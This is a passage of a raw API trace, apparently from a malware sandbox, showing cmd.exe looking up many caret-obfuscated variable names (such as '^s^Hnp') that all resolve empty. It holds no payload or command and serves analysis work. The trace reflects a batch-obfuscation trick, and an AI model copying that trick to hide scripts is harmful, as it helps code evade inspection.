_wcsicmp (_String1="^u5", _String2="CMDEXTVERSION") returned -5 [0085.656] _wcsicmp (_String1="^u5", _String2="CMDCMDLINE") returned -5 [0085.656] _wcsicmp (_String1="^u5", _String2="DATE") returned -6 [0085.656] _wcsicmp (_String1="^u5", _String2="TIME") returned -22 [0085.656] _wcsicmp (_String1="^u5", _String2="RANDOM") returned -20 [0085.656] _wcsicmp (_String1="^u5", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.657] GetEnvironmentVariableW (in: lpName="^s^Hnp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="CD") returned -5 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="ERRORLEVEL") returned -7 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="CMDEXTVERSION") returned -5 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="CMDCMDLINE") returned -5 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="DATE") returned -6 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="TIME") returned -22 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="RANDOM") returned -20 [0085.657] _wcsicmp (_String1="^s^Hnp", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.657] GetEnvironmentVariableW (in: lpName="^aw^yI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="CD") returned -5 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="ERRORLEVEL") returned -7 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="CMDEXTVERSION") returned -5 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="CMDCMDLINE") returned -5 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="DATE") returned -6 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="TIME") returned -22 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="RANDOM") returned -20 [0085.657] _wcsicmp (_String1="^aw^yI", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.657] GetEnvironmentVariableW (in: lpName="c^LM", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.657] _wcsicmp (_String1="c^LM", _String2="CD") returned -6 [0085.657] _wcsicmp (_String1="c^LM", _String2="ERRORLEVEL") returned -2 [0085.657] _wcsicmp (_String1="c^LM", _String2="CMDEXTVERSION") returned -15 [0085.657] _wcsicmp (_String1="c^LM", _String2="CMDCMDLINE") returned -15 [0085.657] _wcsicmp (_String1="c^LM", _String2="DATE") returned -1 [0085.657] _wcsicmp (_String1="c^LM", _String2="TIME") returned -17 [0085.657] _wcsicmp (_String1="c^LM", _String2="RANDOM") returned -15 [0085.657] _wcsicmp (_String1="c^LM", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.657] GetEnvironmentVariableW (in: lpName="^0zSA", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.658] _wcsicmp (_String1="^0zSA", _String2="CD") returned -5 [0085.658] _wcsicmp (_String1="^0zSA", _String2="ERRORLEVEL") returned -7 [0085.658] _wcsicmp (_String1="^0zSA", _String2="CMDEXTVERSION") returned -5 [0085.658] _wcsicmp (_String1="^0zSA", _String2="CMDCMDLINE") returned -5 [0085.658] _wcsicmp (_String1="^0zSA", _String2="DATE") returned -6 [0085.658] _wcsicmp (_String1="^0zSA", _String2="TIME") returned -22 [0085.658] _wcsicmp (_String1="^0zSA", _String2="RANDOM") returned -20 [0085.658] _wcsicmp (_String1="^0zSA", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.658] GetEnvironmentVariableW (in: lpName="Op^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.658] _wcsicmp (_String1="Op^1", _String2="CD") returned 12 [0085.658] _wcsicmp (_String1="Op^1", _String2="ERRORLEVEL") returned 10 [0085.658] _wcsicmp (_String1="Op^1", _String2="CMDEXTVERSION") returned 12 [0085.658] _wcsicmp (_String1="Op^1", _String2="CMDCMDLINE") returned 12 [0085.658] _wcsicmp (_String1="Op^1", _String2="DATE") returned 11 [0085.658] _wcsicmp (_String1="Op^1", _String2="TIME") returned -5 [0085.658] _wcsicmp (_String1="Op^1", _String2="RANDOM") returned -3 [0085.658] _wcsicmp (_String1="Op^1", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.658] GetEnvironmentVariableW (in: lpName="^Dq4G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="CD") returned -5 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="ERRORLEVEL") returned -7 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="CMDEXTVERSION") returned -5 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="CMDCMDLINE") returned -5 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="DATE") returned -6 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="TIME") returned -22 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="RANDOM") returned -20 [0085.658] _wcsicmp (_String1="^Dq4G", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.658] GetEnvironmentVariableW (in: lpName="^Rw", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.658] _wcsicmp (_String1="^Rw", _String2="CD") returned -5 [0085.659] _wcsicmp (_String1="^Rw", _String2="ERRORLEVEL") returned -7 [0085.659] _wcsicmp (_String1="^Rw", _String2="CMDEXTVERSION") returned -5 [0085.659] _wcsicmp (_String1="^Rw", _String2="CMDCMDLINE") returned -5 [0085.659] _wcsicmp (_String1="^Rw", _String2="DATE") returned -6 [0085.659] _wcsicmp (_String1="^Rw", _String2="TIME") returned -22 [0085.659] _wcsicmp (_String1="^Rw", _String2="RANDOM") returned -20 [0085.659] _wcsicmp (_String1="^Rw", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.659] GetEnvironmentVariableW (in: lpName="r^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.659] _wcsicmp (_String1="r^Y", _String2="CD") returned 15 [0085.659] _wcsicmp (_String1="r^Y", _String2="ERRORLEVEL") returned 13 [0085.659] _wcsicmp (_String1="r^Y", _String2="CMDEXTVERSION") returned 15 [0085.659] _wcsicmp (_String1="r^Y", _String2="CMDCMDLINE") returned 15 [0085.659] _wcsicmp (_String1="r^Y", _String2="DATE") returned 14 [0085.659] _wcsicmp (_String1="r^Y", _String2="TIME") returned -2 [0085.659] _wcsicmp (_String1="r^Y", _String2="RANDOM") returned -3 [0085.659] _wcsicmp (_String1="r^Y", _String2="HIGHESTNUMANODENUMBER") returned 10 [0085.659] GetEnvironmentVariableW (in: lpName="^z^RJ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="CD") returned -5 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="ERRORLEVEL") returned -7 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="CMDEXTVERSION") returned -5 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="CMDCMDLINE") returned -5 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="DATE") returned -6 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="TIME") returned -22 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="RANDOM") returned -20 [0085.659] _wcsicmp (_String1="^z^RJ", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.659] GetEnvironmentVariableW (in: lpName="^g^Vkp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.659] _wcsicmp (_String1="^g^Vkp", _String2="CD") returned -5 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="ERRORLEVEL") returned -7 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="CMDEXTVERSION") returned -5 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="CMDCMDLINE") returned -5 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="DATE") returned -6 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="TIME") returned -22 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="RANDOM") returned -20 [0085.660] _wcsicmp (_String1="^g^Vkp", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.660] GetEnvironmentVariableW (in: lpName="bC^0", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.660] _wcsicmp (_String1="bC^0", _String2="CD") returned -1 [0085.660] _wcsicmp (_String1="bC^0", _String2="ERRORLEVEL") returned -3 [0085.660] _wcsicmp (_String1="bC^0", _String2="CMDEXTVERSION") returned -1 [0085.660] _wcsicmp (_String1="bC^0", _String2="CMDCMDLINE") returned -1 [0085.660] _wcsicmp (_String1="bC^0", _String2="DATE") returned -2 [0085.660] _wcsicmp (_String1="bC^0", _String2="TIME") returned -18 [0085.660] _wcsicmp (_String1="bC^0", _String2="RANDOM") returned -16 [0085.660] _wcsicmp (_String1="bC^0", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.660] GetEnvironmentVariableW (in: lpName="^3B", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.660] _wcsicmp (_String1="^3B", _String2="CD") returned -5 [0085.660] _wcsicmp (_String1="^3B", _String2="ERRORLEVEL") returned -7 [0085.660] _wcsicmp (_String1="^3B", _String2="CMDEXTVERSION") returned -5 [0085.660] _wcsicmp (_String1="^3B", _String2="CMDCMDLINE") returned -5 [0085.660] _wcsicmp (_String1="^3B", _String2="DATE") returned -6 [0085.660] _wcsicmp (_String1="^3B", _String2="TIME") returned -22 [0085.660] _wcsicmp (_String1="^3B", _String2="RANDOM") returned -20 [0085.660] _wcsicmp (_String1="^3B", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.660] GetEnvironmentVariableW (in: lpName="^a^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.660] _wcsicmp (_String1="^a^g", _String2="CD") returned -5 [0085.660] _wcsicmp (_String1="^a^g", _String2="ERRORLEVEL") returned -7 [0085.661] _wcsicmp (_String1="^a^g", _String2="CMDEXTVERSION") returned -5 [0085.661] _wcsicmp (_String1="^a^g", _String2="CMDCMDLINE") returned -5 [0085.661] _wcsicmp (_String1="^a^g", _String2="DATE") returned -6 [0085.661] _wcsicmp (_String1="^a^g", _String2="TIME") returned -22 [0085.661] _wcsicmp (_String1="^a^g", _String2="RANDOM") returned -20 [0085.661] _wcsicmp (_String1="^a^g", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.661] GetEnvironmentVariableW (in: lpName="^6rH^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="CD") returned -5 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="ERRORLEVEL") returned -7 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="CMDEXTVERSION") returned -5 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="CMDCMDLINE") returned -5 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="DATE") returned -6 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="TIME") returned -22 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="RANDOM") returned -20 [0085.661] _wcsicmp (_String1="^6rH^Y", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.661] GetEnvironmentVariableW (in: lpName="^CY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.661] _wcsicmp (_String1="^CY", _String2="CD") returned -5 [0085.661] _wcsicmp (_String1="^CY", _String2="ERRORLEVEL") returned -7 [0085.661] _wcsicmp (_String1="^CY", _String2="CMDEXTVERSION") returned -5 [0085.661] _wcsicmp (_String1="^CY", _String2="CMDCMDLINE") returned -5 [0085.661] _wcsicmp (_String1="^CY", _String2="DATE") returned -6 [0085.661] _wcsicmp (_String1="^CY", _String2="TIME") returned -22 [0085.661] _wcsicmp (_String1="^CY", _String2="RANDOM") returned -20 [0085.661] _wcsicmp (_String1="^CY", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.661] GetEnvironmentVariableW (in: lpName="^M^t", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.661] _wcsicmp (_String1="^M^t", _String2="CD") returned -5 [0085.661] _wcsicmp (_String1="^M^t", _String2="ERRORLEVEL") returned -7 [0085.661] _wcsicmp (_String1="^M^t", _String2="CMDEXTVERSION") returned -5 [0085.662] _wcsicmp (_String1="^M^t", _String2="CMDCMDLINE") returned -5 [0085.662] _wcsicmp (_String1="^M^t", _String2="DATE") returned -6 [0085.662] _wcsicmp (_String1="^M^t", _String2="TIME") returned -22 [0085.662] _wcsicmp (_String1="^M^t", _String2="RANDOM") returned -20 [0085.662] _wcsicmp (_String1="^M^t", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.662] GetEnvironmentVariableW (in: lpName="Ea^u", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.662] _wcsicmp (_String1="Ea^u", _String2="CD") returned 2 [0085.662] _wcsicmp (_String1="Ea^u", _String2="ERRORLEVEL") returned -17 [0085.662] _wcsicmp (_String1="Ea^u", _String2="CMDEXTVERSION") returned 2 [0085.662] _wcsicmp (_String1="Ea^u", _String2="CMDCMDLINE") returned 2 [0085.662] _wcsicmp (_String1="Ea^u", _String2="DATE") returned 1 [0085.662] _wcsicmp (_String1="Ea^u", _String2="TIME") returned -15 [0085.662] _wcsicmp (_String1="Ea^u", _String2="RANDOM") returned -13 [0085.662] _wcsicmp (_String1="Ea^u", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.662] GetEnvironmentVariableW (in: lpName="Eh", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.662] _wcsicmp (_String1="Eh", _String2="CD") returned 2 [0085.662] _wcsicmp (_String1="Eh", _String2="ERRORLEVEL") returned -10 [0085.662] _wcsicmp (_String1="Eh", _String2="CMDEXTVERSION") returned 2 [0085.662] _wcsicmp (_String1="Eh", _String2="CMDCMDLINE") returned 2 [0085.662] _wcsicmp (_String1="Eh", _String2="DATE") returned 1 [0085.662] _wcsicmp (_String1="Eh", _String2="TIME") returned -15 [0085.662] _wcsicmp (_String1="Eh", _String2="RANDOM") returned -13 [0085.662] _wcsicmp (_String1="Eh", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.662] GetEnvironmentVariableW (in: lpName="e^q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.662] _wcsicmp (_String1="e^q", _String2="CD") returned 2 [0085.662] _wcsicmp (_String1="e^q", _String2="ERRORLEVEL") returned -20 [0085.662] _wcsicmp (_String1="e^q", _String2="CMDEXTVERSION") returned 2 [0085.662] _wcsicmp (_String1="e^q", _String2="CMDCMDLINE") returned 2 [0085.662] _wcsicmp (_String1="e^q", _String2="DATE") returned 1 [0085.663] _wcsicmp (_String1="e^q", _String2="TIME") returned -15 [0085.663] _wcsicmp (_String1="e^q", _String2="RANDOM") returned -13 [0085.663] _wcsicmp (_String1="e^q", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.663] GetEnvironmentVariableW (in: lpName="^Je", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.663] _wcsicmp (_String1="^Je", _String2="CD") returned -5 [0085.663] _wcsicmp (_String1="^Je", _String2="ERRORLEVEL") returned -7 [0085.663] _wcsicmp (_String1="^Je", _String2="CMDEXTVERSION") returned -5 [0085.663] _wcsicmp (_String1="^Je", _String2="CMDCMDLINE") returned -5 [0085.663] _wcsicmp (_String1="^Je", _String2="DATE") returned -6 [0085.663] _wcsicmp (_String1="^Je", _String2="TIME") returned -22 [0085.663] _wcsicmp (_String1="^Je", _String2="RANDOM") returned -20 [0085.663] _wcsicmp (_String1="^Je", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.663] GetEnvironmentVariableW (in: lpName="q^2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.663] _wcsicmp (_String1="q^2", _String2="CD") returned 14 [0085.663] _wcsicmp (_String1="q^2", _String2="ERRORLEVEL") returned 12 [0085.663] _wcsicmp (_String1="q^2", _String2="CMDEXTVERSION") returned 14 [0085.663] _wcsicmp (_String1="q^2", _String2="CMDCMDLINE") returned 14 [0085.663] _wcsicmp (_String1="q^2", _String2="DATE") returned 13 [0085.663] _wcsicmp (_String1="q^2", _String2="TIME") returned -3 [0085.663] _wcsicmp (_String1="q^2", _String2="RANDOM") returned -1 [0085.663] _wcsicmp (_String1="q^2", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.663] GetEnvironmentVariableW (in: lpName="^xm", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.663] _wcsicmp (_String1="^xm", _String2="CD") returned -5 [0085.663] _wcsicmp (_String1="^xm", _String2="ERRORLEVEL") returned -7 [0085.663] _wcsicmp (_String1="^xm", _String2="CMDEXTVERSION") returned -5 [0085.663] _wcsicmp (_String1="^xm", _String2="CMDCMDLINE") returned -5 [0085.663] _wcsicmp (_String1="^xm", _String2="DATE") returned -6 [0085.663] _wcsicmp (_String1="^xm", _String2="TIME") returned -22 [0085.664] _wcsicmp (_String1="^xm", _String2="RANDOM") returned -20 [0085.664] _wcsicmp (_String1="^xm", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.664] GetEnvironmentVariableW (in: lpName="Co^Jf", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="CD") returned 11 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="ERRORLEVEL") returned -2 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="CMDEXTVERSION") returned 2 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="CMDCMDLINE") returned 2 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="DATE") returned -1 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="TIME") returned -17 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="RANDOM") returned -15 [0085.664] _wcsicmp (_String1="Co^Jf", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.664] GetEnvironmentVariableW (in: lpName="z^R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.664] _wcsicmp (_String1="z^R", _String2="CD") returned 23 [0085.664] _wcsicmp (_String1="z^R", _String2="ERRORLEVEL") returned 21 [0085.664] _wcsicmp (_String1="z^R", _String2="CMDEXTVERSION") returned 23 [0085.664] _wcsicmp (_String1="z^R", _String2="CMDCMDLINE") returned 23 [0085.664] _wcsicmp (_String1="z^R", _String2="DATE") returned 22 [0085.664] _wcsicmp (_String1="z^R", _String2="TIME") returned 6 [0085.664] _wcsicmp (_String1="z^R", _String2="RANDOM") returned 8 [0085.664] _wcsicmp (_String1="z^R", _String2="HIGHESTNUMANODENUMBER") returned 18 [0085.664] GetEnvironmentVariableW (in: lpName="HJ^VR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="CD") returned 5 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="ERRORLEVEL") returned 3 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="CMDEXTVERSION") returned 5 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="CMDCMDLINE") returned 5 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="DATE") returned 4 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="TIME") returned -12 [0085.664] _wcsicmp (_String1="HJ^VR", _String2="RANDOM") returned -10 [0085.665] _wcsicmp (_String1="HJ^VR", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.665] GetEnvironmentVariableW (in: lpName="m^Lwq", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="CD") returned 10 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="ERRORLEVEL") returned 8 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="CMDEXTVERSION") returned 10 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="CMDCMDLINE") returned 10 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="DATE") returned 9 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="TIME") returned -7 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="RANDOM") returned -5 [0085.665] _wcsicmp (_String1="m^Lwq", _String2="HIGHESTNUMANODENUMBER") returned 5 [0085.665] GetEnvironmentVariableW (in: lpName="^lPo", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.665] _wcsicmp (_String1="^lPo", _String2="CD") returned -5 [0085.665] _wcsicmp (_String1="^lPo", _String2="ERRORLEVEL") returned -7 [0085.665] _wcsicmp (_String1="^lPo", _String2="CMDEXTVERSION") returned -5 [0085.665] _wcsicmp (_String1="^lPo", _String2="CMDCMDLINE") returned -5 [0085.665] _wcsicmp (_String1="^lPo", _String2="DATE") returned -6 [0085.665] _wcsicmp (_String1="^lPo", _String2="TIME") returned -22 [0085.665] _wcsicmp (_String1="^lPo", _String2="RANDOM") returned -20 [0085.665] _wcsicmp (_String1="^lPo", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.665] GetEnvironmentVariableW (in: lpName="^i8T3", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.665] _wcsicmp (_String1="^i8T3", _String2="CD") returned -5 [0085.665] _wcsicmp (_String1="^i8T3", _String2="ERRORLEVEL") returned -7 [0085.665] _wcsicmp (_String1="^i8T3", _String2="CMDEXTVERSION") returned -5 [0085.665] _wcsicmp (_String1="^i8T3", _String2="CMDCMDLINE") returned -5 [0085.665] _wcsicmp (_String1="^i8T3", _String2="DATE") returned -6 [0085.665] _wcsicmp (_String1="^i8T3", _String2="TIME") returned -22 [0085.665] _wcsicmp (_String1="^i8T3", _String2="RANDOM") returned -20 [0085.665] _wcsicmp (_String1="^i8T3", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.666] GetEnvironmentVariableW (in: lpName="^bn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.666] _wcsicmp (_String1="^bn", _String2="CD") returned -5 [0085.666] _wcsicmp (_String1="^bn", _String2="ERRORLEVEL") returned -7 [0085.666] _wcsicmp (_String1="^bn", _String2="CMDEXTVERSION") returned -5 [0085.666] _wcsicmp (_String1="^bn", _String2="CMDCMDLINE") returned -5 [0085.666] _wcsicmp (_String1="^bn", _String2="DATE") returned -6 [0085.666] _wcsicmp (_String1="^bn", _String2="TIME") returned -22 [0085.666] _wcsicmp (_String1="^bn", _String2="RANDOM") returned -20 [0085.666] _wcsicmp (_String1="^bn", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.666] GetEnvironmentVariableW (in: lpName="^OZ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.685] _wcsicmp (_String1="^OZ", _String2="CD") returned -5 [0085.685] _wcsicmp (_String1="^OZ", _String2="ERRORLEVEL") returned -7 [0085.685] _wcsicmp (_String1="^OZ", _String2="CMDEXTVERSION") returned -5 [0085.685] _wcsicmp (_String1="^OZ", _String2="CMDCMDLINE") returned -5 [0085.702] _wcsicmp (_String1="^OZ", _String2="DATE") returned -6 [0085.702] _wcsicmp (_String1="^OZ", _String2="TIME") returned -22 [0085.702] _wcsicmp (_String1="^OZ", _String2="RANDOM") returned -20 [0085.702] _wcsicmp (_String1="^OZ", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.702] GetEnvironmentVariableW (in: lpName="g^BQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.702] _wcsicmp (_String1="g^BQ", _String2="CD") returned 4 [0085.702] _wcsicmp (_String1="g^BQ", _String2="ERRORLEVEL") returned 2 [0085.702] _wcsicmp (_String1="g^BQ", _String2="CMDEXTVERSION") returned 4 [0085.702] _wcsicmp (_String1="g^BQ", _String2="CMDCMDLINE") returned 4 [0085.702] _wcsicmp (_String1="g^BQ", _String2="DATE") returned 3 [0085.702] _wcsicmp (_String1="g^BQ", _String2="TIME") returned -13 [0085.702] _wcsicmp (_String1="g^BQ", _String2="RANDOM") returned -11 [0085.703] _wcsicmp (_String1="g^BQ", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.703] GetEnvironmentVariableW (in: lpName="^I^r", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.703] _wcsicmp (_String1="^I^r", _String2="CD") returned -5 [0085.703] _wcsicmp (_String1="^I^r", _String2="ERRORLEVEL") returned -7 [0085.703] _wcsicmp (_String1="^I^r", _String2="CMDEXTVERSION") returned -5 [0085.703] _wcsicmp (_String1="^I^r", _String2="CMDCMDLINE") returned -5 [0085.703] _wcsicmp (_String1="^I^r", _String2="DATE") returned -6 [0085.703] _wcsicmp (_String1="^I^r", _String2="TIME") returned -22 [0085.703] _wcsicmp (_String1="^I^r", _String2="RANDOM") returned -20 [0085.703] _wcsicmp (_String1="^I^r", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.703] GetEnvironmentVariableW (in: lpName="D^vI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.703] _wcsicmp (_String1="D^vI", _String2="CD") returned 1 [0085.703] _wcsicmp (_String1="D^vI", _String2="ERRORLEVEL") returned -1 [0085.703] _wcsicmp (_String1="D^vI", _String2="CMDEXTVERSION") returned 1 [0085.703] _wcsicmp (_String1="D^vI", _String2="CMDCMDLINE") returned 1 [0085.703] _wcsicmp (_String1="D^vI", _String2="DATE") returned -3 [0085.703] _wcsicmp (_String1="D^vI", _String2="TIME") returned -16 [0085.703] _wcsicmp (_String1="D^vI", _String2="RANDOM") returned -14 [0085.703] _wcsicmp (_String1="D^vI", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.703] GetEnvironmentVariableW (in: lpName="^VDG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.703] _wcsicmp (_String1="^VDG", _String2="CD") returned -5 [0085.703] _wcsicmp (_String1="^VDG", _String2="ERRORLEVEL") returned -7 [0085.703] _wcsicmp (_String1="^VDG", _String2="CMDEXTVERSION") returned -5 [0085.703] _wcsicmp (_String1="^VDG", _String2="CMDCMDLINE") returned -5 [0085.703] _wcsicmp (_String1="^VDG", _String2="DATE") returned -6 [0085.703] _wcsicmp (_String1="^VDG", _String2="TIME") returned -22 [0085.703] _wcsicmp (_String1="^VDG", _String2="RANDOM") returned -20 [0085.703] _wcsicmp (_String1="^VDG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.703] GetEnvironmentVariableW (in: lpName="J^V^w", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.703] _wcsicmp (_String1="J^V^w", _String2="CD") returned 7 [0085.703] _wcsicmp (_String1="J^V^w", _String2="ERRORLEVEL") returned 5 [0085.703] _wcsicmp (_String1="J^V^w", _String2="CMDEXTVERSION") returned 7 [0085.703] _wcsicmp (_String1="J^V^w", _String2="CMDCMDLINE") returned 7 [0085.703] _wcsicmp (_String1="J^V^w", _String2="DATE") returned 6 [0085.703] _wcsicmp (_String1="J^V^w", _String2="TIME") returned -10 [0085.703] _wcsicmp (_String1="J^V^w", _String2="RANDOM") returned -8 [0085.703] _wcsicmp (_String1="J^V^w", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.704] GetEnvironmentVariableW (in: lpName="uq^LY", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.704] _wcsicmp (_String1="uq^LY", _String2="CD") returned 18 [0085.704] _wcsicmp (_String1="uq^LY", _String2="ERRORLEVEL") returned 16 [0085.704] _wcsicmp (_String1="uq^LY", _String2="CMDEXTVERSION") returned 18 [0085.704] _wcsicmp (_String1="uq^LY", _String2="CMDCMDLINE") returned 18 [0085.704] _wcsicmp (_String1="uq^LY", _String2="DATE") returned 17 [0085.704] _wcsicmp (_String1="uq^LY", _String2="TIME") returned 1 [0085.704] _wcsicmp (_String1="uq^LY", _String2="RANDOM") returned 3 [0085.704] _wcsicmp (_String1="uq^LY", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.704] GetEnvironmentVariableW (in: lpName="l^V^p", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.704] _wcsicmp (_String1="l^V^p", _String2="CD") returned 9 [0085.704] _wcsicmp (_String1="l^V^p", _String2="ERRORLEVEL") returned 7 [0085.704] _wcsicmp (_String1="l^V^p", _String2="CMDEXTVERSION") returned 9 [0085.704] _wcsicmp (_String1="l^V^p", _String2="CMDCMDLINE") returned 9 [0085.704] _wcsicmp (_String1="l^V^p", _String2="DATE") returned 8 [0085.704] _wcsicmp (_String1="l^V^p", _String2="TIME") returned -8 [0085.704] _wcsicmp (_String1="l^V^p", _String2="RANDOM") returned -6 [0085.704] _wcsicmp (_String1="l^V^p", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.704] GetEnvironmentVariableW (in: lpName="G^U", lpBuffer=0x49d7f360, nSize=0x2000 | 